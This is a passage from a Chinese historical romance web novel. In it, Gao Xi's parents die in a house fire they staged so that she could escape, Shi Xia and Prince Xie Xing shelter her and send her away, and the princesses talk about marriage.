书房里,燕尘的脸色有些不好。
本身这件事情他就不愿意参与进去,找理由推拒掉高希。
可那许临却突然出现,还说出这样一番话。
他若是当作没有听见,拒绝见高希,那传出去便是他忘恩负义,无情。
他若是请高希进来了,那便又可以传他和高希商谈一下午,皇帝那边必会起疑心。
无论他如何做,都不是一个好的结局。
他现在只能想办法,让高希早些离开,否则,高希定会对他产生许多影响。
在这京城中,最可怕的便是各种流言蜚语。
他起身,迈开步子,大步朝那偏僻屋子走去。
“世子哥哥?”高希刚坐下没多久,燕尘便到了,她有些惊讶:“世子哥哥
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不是在忙吗?怎的这么快就来了。”
“听闻高小姐有急事,便先来看看。”许临温润的笑了笑。
高希感动极了:“世子哥哥,你真好!今日我听说有许多大臣**我父亲......”她垂眸:“父亲不是那样的人。”
“我相信高大人。”燕尘温声开口:“高大人向来最是清正廉洁。”
“那世子哥哥可否......”话到嘴边,高希有些不好意思。
“高小姐放心,我一定尽我所能!”燕尘安慰:“高小姐若是无事......”
“不知世子哥哥府上可有吃食?”高希笑得有些不好意思。
她这几日都没有吃好,前几日在路上,常常因为赶路只能简单吃些。
回到京城后,仆从全都被遣散了,家里不会做饭,又没有什么钱可以用,吃得很简单潦草。
今日实在是恶极了,才会说出这话。
燕尘愣了一下,又笑道:“自然,高小姐若是想吃,我这就让人给你准备些。”
“多谢世子哥哥!”她笑得开心,忽略了燕尘眼中一瞬的烦躁。
不过,现在也确实临近饭点了,厨房也已经开始准备吃食,上菜的速度还算快,没有耽误太多的时间。
高希看见饭菜,立刻狼吞虎咽起来,吃的泪水都有些微微渗出:“谢谢世子哥哥!”
她大口大口吃着,泪水还不住往下流,好久没有吃这样香的饭菜了。
终于,高希吃完了饭,肚子都吃的微微鼓起。
“天色也晚了,高小姐若是再不回去,家里人该担心了。”燕尘又开口。
高希看了看夕阳,夏日天黑得晚:“世子哥哥,我能不能带些饭菜走啊,我想让爹娘也尝尝。”
燕尘的笑容僵了僵,最终还是开口:“当然。”
很快,几个婢女上前来,将饭菜装点好。
高希和绫香一人手中拿着一个食盒,她挥挥手:“世子哥哥,拜拜!”
走出王府,高希一边哼着歌,一边往高家的方向走去。
世子哥哥愿意帮她,应该便没有什么问题了。
远处的红色夕阳下,几缕灰色烟雾飘了起来,越来越浓。
第74章 大火
莫名的,高希心中有股不太好的感觉,她不由得加快步伐。
高府前,人群熙熙攘攘,围在高家门口。
高希心里的不详越发强烈,她攥紧手中的食盒,推开人群:“让一让,让一让。”
高府被火红笼罩着,上空是一片片灰色烟雾。
她呆楞住,手中一下脱力,食盒掉落在地。
“爹,娘!”她脑子里乱成一片,怎么会这样?
“小姐!”绫香想要拉住她,可高希奋力挣扎开。
她全然不顾蔓延的火势,朝着府里跑去:“爹,娘......”
你们在哪里......
明明是最熟悉的家,却被大火烧得灰败极了。
周围都是浓烟,熏得高希泪水一串接着一串。
她按照记忆跑到父母的屋子,推开门,桌前,高夫人和高父静静的坐着,似乎在接受命运。
他们看到高希出现,眼底顿时划过慌张:“小希?”
“爹,娘!快走,走水了!”高希冲上前去,想要将二人拉走。
可他们却纹丝不动。
高希有些茫然的回过头,看着两张熟悉的脸,神色却都充满哀伤:“小希,你走吧。”
高夫人笑笑,依旧是同她记忆里那般温柔。
高希不愿接受的摇头:“不,不要......一起走......”她的声音里满是哭腔:“外面一起走好不好......爹,娘,我求你们了......”
豆大的泪水渗出,从她的脸颊滑落。
高夫人温柔的擦了擦她被烟熏得有些脏的小脸:“小希,以后要照顾好自己,听话。”
高希抱着二人,怎么都不肯放手:“不要,我不要一个人......”
“小心!”一直没有说话的高翼却突然大声,一把用力的推开高希。
下一瞬,巨大的横木掉落在地,还燃烧着火焰。
彻底隔断了高翼和高夫人出门的途径,也隔开了她们和高希。
“娘!爹!”高希大叫,声音凄惨无比,嗓子都有些破音。
“小姐。”绫香不知何时也跟着进来,到了屋子里来,她扶起高希:“小姐,走吧......”
她是知道的,今日一早,高希还未起床,高翼和高夫人就向她说了这件事。
让她想办法带着高希在外面多停留一会儿,晚些回来。
她已经尽量拖延时间,可高希依旧发现了。
“快带小姐走。”高翼厉声:“走!”
高希无助摇头:“不,我不要......”她甚至还伸手,想要去搬开那横在四人之间,分隔开生命的木柱子。
一向娇嫩的手,靠近火焰就有些生疼,疼的她下意识缩回了一些,可下一瞬,又坚定的靠了过去。
“小姐!”绫香尖声,想要拉开高希的手。
“爹,娘......小希不要一个人......”她哭着,用力着,疼痛着。
可却怎么也搬不动那巨大的木柱子。
“带她走!”高翼大声,眼睛也发红,但还是喊出了这句话。
绫香抱着高希的腰,用力往后拉:“小姐,快走吧,不然真的来不及了......”
或许是手太疼,又或许是刚才消耗掉了高希太多的体力,她这一拉,居然真的将高希拉开了。
“我不!”高希挣扎着,却又挣扎不过,还是被绫香一点点拖出房间。
“小希,要好好的。”恍然间,她似乎听到了母亲这样一句话。
“绫香,我不要,我不要,爹和娘还在里面......”她摇头,泪水一滴一滴往下流着,手上也满是刚才被大火灼伤的痕迹,她却似乎感觉不到疼一般。
“小姐,走吧。”绫香也很难受,她虽是个婢女,但在高家这么多年,高大人和高夫人对她都很好,高希也是,虽然有时候任性,但却也将她当作亲姐妹般对待,而不是可以随意打骂的下人。
可正因如此,她也知道,高希必须走。
在众目睽睽之下,高希进了高府,众人必定会以为,她也葬身火海了。
而这个时候,趁着机会从偏门出去,虽以后不再是高家小姐,但也能还好活着。
“小姐。”绫香哀求道,再不走就来不及了:“夫人和老爷废了这般功夫,定是想让小姐
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好好活下去的,小姐不要辜负了老爷夫人啊......”
高希这才双目逐渐有神,她的嗓子干涩极了,有些说不出话来:“走吧。”
绫香这才松了一口气,赶忙扶着高希往偏门走去。
偏门门口,有一辆低调的马车静静的候着。
高希又忍不住眼睛一酸,爹娘早就知道了一切,为了让她活下去,准备好了一切。
到底是谁要陷害她们家?陛下不是说不追究了吗,为什么还是这样的结局......
高希上了马车,里面坐着的赫然是时夏。
高希双目瞪圆:“时姐姐!”
时夏赶紧用手势让她小声些,高希这才点点头:“时姐姐,我求求你,救救我爹娘......”
她话音刚刚落下,马车外就猛然传出一声震天响,二人都吓了一跳。
高希微微掀开马车帘子,下一秒,泪水再次从她眼里流出。
高府的屋子......倒塌了。
一个不剩的倒塌了,只剩下围墙,静静的注视着一切的发生。
时夏看着高希的模样,张了张口,叹息:“走吧。”
她把高希拉回坐好,马车静静的向远方驶去。
高府的大门口,有两个食盒,一个稳稳的放在门边,另一个则是倒在地上,里面的饭菜也流出。
但围观的人众多,你一脚,我一脚,不知何时,被踢得满地都是。
-
二人中途更换了马六次马车,最终停在了谢行郊区的房屋门口。
“这两日,便现在这里休息吧。”她伸手想要拉着高希,可高希的手上全是刚才被大火烧伤的伤口,她有些无从下手。
不是伤口模样难看,而是,她怕弄疼了高希。
高希并没有注意到这么多,甚至现在才后知后觉的感受到手上的疼痛,她抿唇,咬牙忍住,已经给时姐姐添了很多麻烦了,她撑起一个笑容:“多谢时姐姐。”
只是苍白的小脸上,蒙着一层灰灰的,嘴唇也没有什么颜色,刚刚哭过的愿意,眼睛红红的,可怜极了。
时夏叹息:“高小姐不用强撑着笑的。”
第75章 王爷近日公务繁忙。
“我以后就不是高小姐了。”高希摇摇头。
本来皇帝就把高家的职位的贬去,现下爹娘也......
时夏抿唇:“高小姐跟我来。”上一世,时家出事后,她也一度沮丧。
她带着高希到了一间屋子:“这几日,你便先在这里住着吧。”
“可若是被陛下发现了......”高希摇摇头,她不想再给时家添麻烦了。
如今高家也出事了,若是让陛下发现,连累了时家......
时夏浅浅笑了笑:“无事,这几日你先在此住着,等身体好些了,我们便备马车送你去你表舅家。”
“多谢时姐姐。”高希没想到自己主动提出离开,时夏竟然会拒绝。
门口突然响起敲门声,兰香上前去打开门。
“宋大夫来了?”时夏浅笑。
宋方林依旧提着他那个破旧的药箱,药箱稳稳落在桌上,发出一声闷响。
“宋大夫,劳烦你快帮高小姐看看。”时夏看向高希的双手。
高希有些无措,想要将手收到背后,却被时夏拉住。
“您看她这伤......”时夏皱眉,怎么伤得如此严重,高希从小也未曾吃过苦,这伤,怕得好好疼一阵子了。
宋方林自然是清楚情况的,他皱眉,在药箱里翻出一小瓶药:“这伤确实比较严重,需要内外同时诊治。”
他递出药瓶:“这药每日早晚抹一次。”又拿出纸笔,开始写药方:“按照这个方子捡药。”
“有劳宋大夫了。”时夏笑着送走宋方林。
宋方林的能力自然无需质疑的,她看向时夏:“绫香,帮你家小姐抹一下药,我还有些事情,就先走了。”
突然,她又想起什么,拿起桌上的方子:“你们现在不便露面,我找人去替你们将药捡了吧。”
-
从高希的房间离开,时夏并没有之间走,而是拐向了书房。
“叩叩。”她轻轻敲了两下门,便进去。
果不其然,谢行在里面坐着。
“高家的事......”时夏深吸一口气:“多谢王爷了。”
“本王可什么也没有做。”谢行没有抬头,做着自己的事情。
“王爷说笑了。”时夏虽感谢谢行帮了忙,可心里也忍不住又几丝寒凉。
如今谢行为着时家的利益和他的其他谋划,愿意帮着时家,可以后,时家对他没了价值,不就又同前世一样了。
他这样唯利是图的人,适合合作,也最让人不敢信。
“不过,本王倒是好奇。”他放下笔,眼中闪过几分兴趣:“时小姐为何这般执着想要帮高家?”
“我想,掺和进这件事情对时家、时小姐,都没有好处吧,时小姐与高家也没有什么交情,时小姐究竟是为了什么?”
时夏有些沉默:“王爷多想了,臣女只是觉得,高家本就是被冤枉的,且高小姐性子天真,与臣女合得来,所以想要帮衬一二罢了。”
“与你合得来?”谢行轻笑:“时小姐可不必与我装,你的哪一个选择没有产后上利益?现在却因为一个高家......若说是帮县主,倒还可信些。”
“王爷这是把臣女当作您了?”时夏反唇相讥:“想必王爷还有公务要忙,臣女便先告退了。”
说完,时夏也不再看谢行,转身径直离开。
-
“王爷呢,我有要事找王爷。”时夏脸色憔悴,眼底满是担忧,询问管家。
管家有些为难:“王爷近日公务繁忙,恐怕......”
“前日繁忙,昨日繁忙,今日繁忙,日日都是如此!”时夏有些崩溃了。
前几日,突然有**劾时家私通邻国,当日她就来找谢行,想问清楚是怎么一回事。
可谢行却拒而不见,每日早出晚归,回来就在书房里呆着,一丝机会都不给他。
就连夜晚,也不回主屋休息了。
“行,既然他不肯见我,那我便自己去想办法。”时夏冷冷看着紧闭的书房门,扔下这样一句话,大步向王府门口走去。
她刚刚到门口,准备出去,却被几个侍卫拦住:“王妃......”
时夏一顿,咬牙:“什么意思?现
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在我连出门的资格也没有了吗?”
“属下不敢。”侍卫抱拳。
“那就给我让开!”时夏厉声。
她一向是温柔的,从不轻易发火,就算是生气,也是轻柔的语气。
可几个侍卫却摇摇头,坚定:“抱歉,王妃,王爷说了......这几日,您不能出府。”
时夏被气笑了,谢行,既不肯帮她,不肯见面,也不让她自己想办法。
她又怒气冲冲的向书房走去,这一次,她还带上了弓箭。
“王妃......”兰香在后面劝。
时夏却头也不回,一手弓,一手箭,大步向书房走去。
院子里,她撑起弓箭,回忆着书房的大概布局,书桌,应该在这里......
她根据回忆挪动着弓箭的放下,周围各个婢女劝着:“王妃,冷静......”
“王爷就是在忙,等王爷忙完,定然会见您的!”
时夏充耳不闻,只是默默调整着箭的角度,说起来,这射箭的功夫还是谢行教她的。
突然,书房门被打开,一张熟悉却又几日未见的面容出现在前方。
谢行打开了门,周围婢女都松了一口气,这下王爷和王妃总算能好好说话了。
时夏却并没有放下手中弓箭,而是正正的对着前方。
“你又在胡闹什么?”男人语气冰冷。
时夏却像是一下子脱了力,弓箭掉落在地。
她以为谢行是愿意帮忙了,可谢行说她在闹。谢行每日上朝,定对时家的事情清清楚楚,可他却说出这话。
时夏不禁露出苦涩的笑容,她在期待什么?
“啊!”时夏猛地惊醒,捂着胸口,大口大口的喘着气。
怎么又梦到前世的事情了?
她安慰着自己,这一世她一定可以改变一切的......
同一时间,景王府,谢行也突然惊醒。
他的额角渗出几滴汗珠,眉头也紧紧皱着。
这是个什么梦?他眼底划过烦躁。
那般离谱,却又有种莫名的真实感,就连心口,都莫名有些抽痛。
第76章 我也想要这样的夫君!
过了几日,高希手上的伤也好的差不多了,也是时候离开京城了。
“时姐姐,这几日......多亏了你和景王殿下。”高希沉稳了许多,她恭敬行礼。
时夏轻轻抚了抚她的头:“去了表舅那里,就好好的生活。”
她终究只是个十二岁出头的孩子,一直顺风顺水的长大,现在却突然遇到这样的事。
高希浅浅笑笑:“嗯!时姐姐和景王殿下也要一直好好的!”
虽然外面还没有两人订婚的消息,但依照高希这几日的观察来看,这两人绝对不可能没有什么。
若只是普通朋友,王爷怎会让时姐姐自由通行呢?
若什么都没有,王爷怎么会愿意收留她?
“日后,天高任鸟飞。”时夏看了看兰香,兰香抬出一礼物,献给高希。
“高小姐之前不是一直吵着想要再定一件指尖织的衣裳?这不,东家亲自设计的。”时夏笑笑:“她说,希望高小姐,所愿皆得。”
高希手指轻轻在衣服上拂过,指尖传来精美刺绣的感觉,她的眼睛忍不住红了。
“时姐姐......”她有些哽咽:“你真好。”
这个时候,她反而有些不知道该如何与时夏说话,如何感谢时夏。
“好啦,前几日不是还说以后要做沉稳的人呢?”时夏用手帕擦了擦她眼底的泪水:“走吧,去过你新的人生。”
“嗯!”高希红着眼,重重的点了点头,眼底满是坚定:“时姐姐,你也要过你喜欢的人生。”
时夏愣了片刻,轻笑:“我会的。”
高希这才转过身,她深吸一口气,走上马车。
马车缓缓启动,慢慢向前,就像她的人生一样。
时夏有些感慨的看着远去的马车,逐渐变成一个小点。
她真的,成功改变了一个人、一个家族的命运。虽然是借助着谢行的力量,可结果总归是好的。
“还不走。”一直在远处没有上前的谢行过来了。
时夏这才收敛起神色:“王爷也请回吧。”
她走向自己的马车,说起来也有趣,今日三个人,用了三辆马车。
“时小姐在躲本王。”谢行突然开口,明明是疑问的话语,他的语气却是笃定的。
时夏身子微微僵硬了一瞬,讪笑:“王爷这是何意,臣女何必要躲您呢?”
“是啊,为什么躲本王?本王也很是好奇呢。”谢行挑眉。
从前几日接回高希后,时夏的状态就怪怪的,虽不至于不肯见他,但也基本不会主动找他,并极力避免两个人单独见面。
虽然不明显,但他可以清晰的感觉到。
“王爷多虑了,臣女只是这几日身子有些不适罢了。”时夏敛眉。
她倒也没有算偏谢行,她这几日的确是来了葵水,前两日有些肚子疼,腰酸。
不过,但也还算能忍受。
“王爷若无事,臣女便先回府了。”她开口,迫切想要离开的心思很是明显。
“嗯。”谢行似乎也有些气恼了:“希望时小姐不要忘了之前和本王的约定。”
“自然。”留下这两个字,时夏兀自上了马车,离开。
-
高家的事情发生后,文安公主自然也得到了清白。
但她却依然住在宫里,无他,颜挽笙那里的话本子实在太多了,还全都是她没有看过的,她根本看不过来,每天过得不亦乐乎。
可现在问题来了,每日和颜挽笙一起宅在屋子里,她根本没有接触过大夏几个男子。
而再过半个月,她们就该出发会齐国了,若是没有能够成功联姻,大夏怕是又会向齐国发兵。
文安愁得满脸苦色,她本对婚事无所谓,反正没有人敢欺负她。
可是看了这么多话本子之后,她才知道,原来婚事,还可以是那样美好。
不一定要是因为利益,还可以纯粹的因为两个人之间的感情。
呜呜呜尤其是什么霸道王爷狠狠爱,清冷世子迷恋我,邪魅小侯爷独爱我一人,看得她心花乱放。
“夏夏!我也想要这样的夫君!”她将头靠在时夏的肩膀上,撒娇。
时夏瞪了瞪颜挽笙,又荼毒一个。
颜挽笙无奈的摆摆手,
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嘿嘿一笑,靠在时夏另外一侧的肩膀上:“夏夏,人家也想要嘛!”
说到这个,时夏的脸色微微凝固了些。
前世,颜挽笙嫁的人......是太后安排的。
她虽不像时夏那般,被谢行忽略,也不见得嫁的好。
只是依靠着背后有太后冲着,男方才勉强给了她几分薄面,不当众下颜挽笙的面子。
可作为密友,时夏自然最是清楚真实情况。
那男的虽说没有什么小妾,但在外面却是养了好几个的,只是因着太后,没有接进府。
后来婚后第二年,竟然在外面有了一个孩子。
那男人便也不装了,直接带着孩子和小妾登堂**。
颜挽笙虽说对那人没有什么感情,但她好歹是个女子,是极其要面子的。
因着这事,还找着太后哭了好几回。
可太后也只能宽慰她:“男人都是这样的,不必在意这些。”
然后再训斥几句那男子,便不了了之了。
后来,颜挽笙也就不再和太后哭诉这些了,只偶尔和时夏倾诉,时家出事后,她便不再管那男子,而是满门心思都扑在帮时夏查明时家的真相上。
时夏眼神暗了暗。
前世,阿笙好不容易帮她查到了些线索,她却在去的路上**身亡了。
“行行行,把你们都纳在我这里。”时夏将思绪抽出,开玩笑道。
“好呀,你这个三心二意的女人!”颜挽笙也玩笑般打了一下时夏:“有了我了,你居然还想要别人。”
“就是就是!”文安点头附和。
“文安不若乘着这几日,好好看看京中有哪些男子合你心意?”时夏认真了起来,这是毕竟关系到两国。
而且从私心上来,她也希望文安能嫁给一个好的男子,不说多么爱她,至少要尊重她。
“其实......我觉得......”文安莫名扭捏了起来,连脸颊上也染了几分绯红。
时夏有种不好的预感,颜挽笙却好奇:“谁呀谁呀?”
“世子是个好人。”她低下头,连耳朵都红了。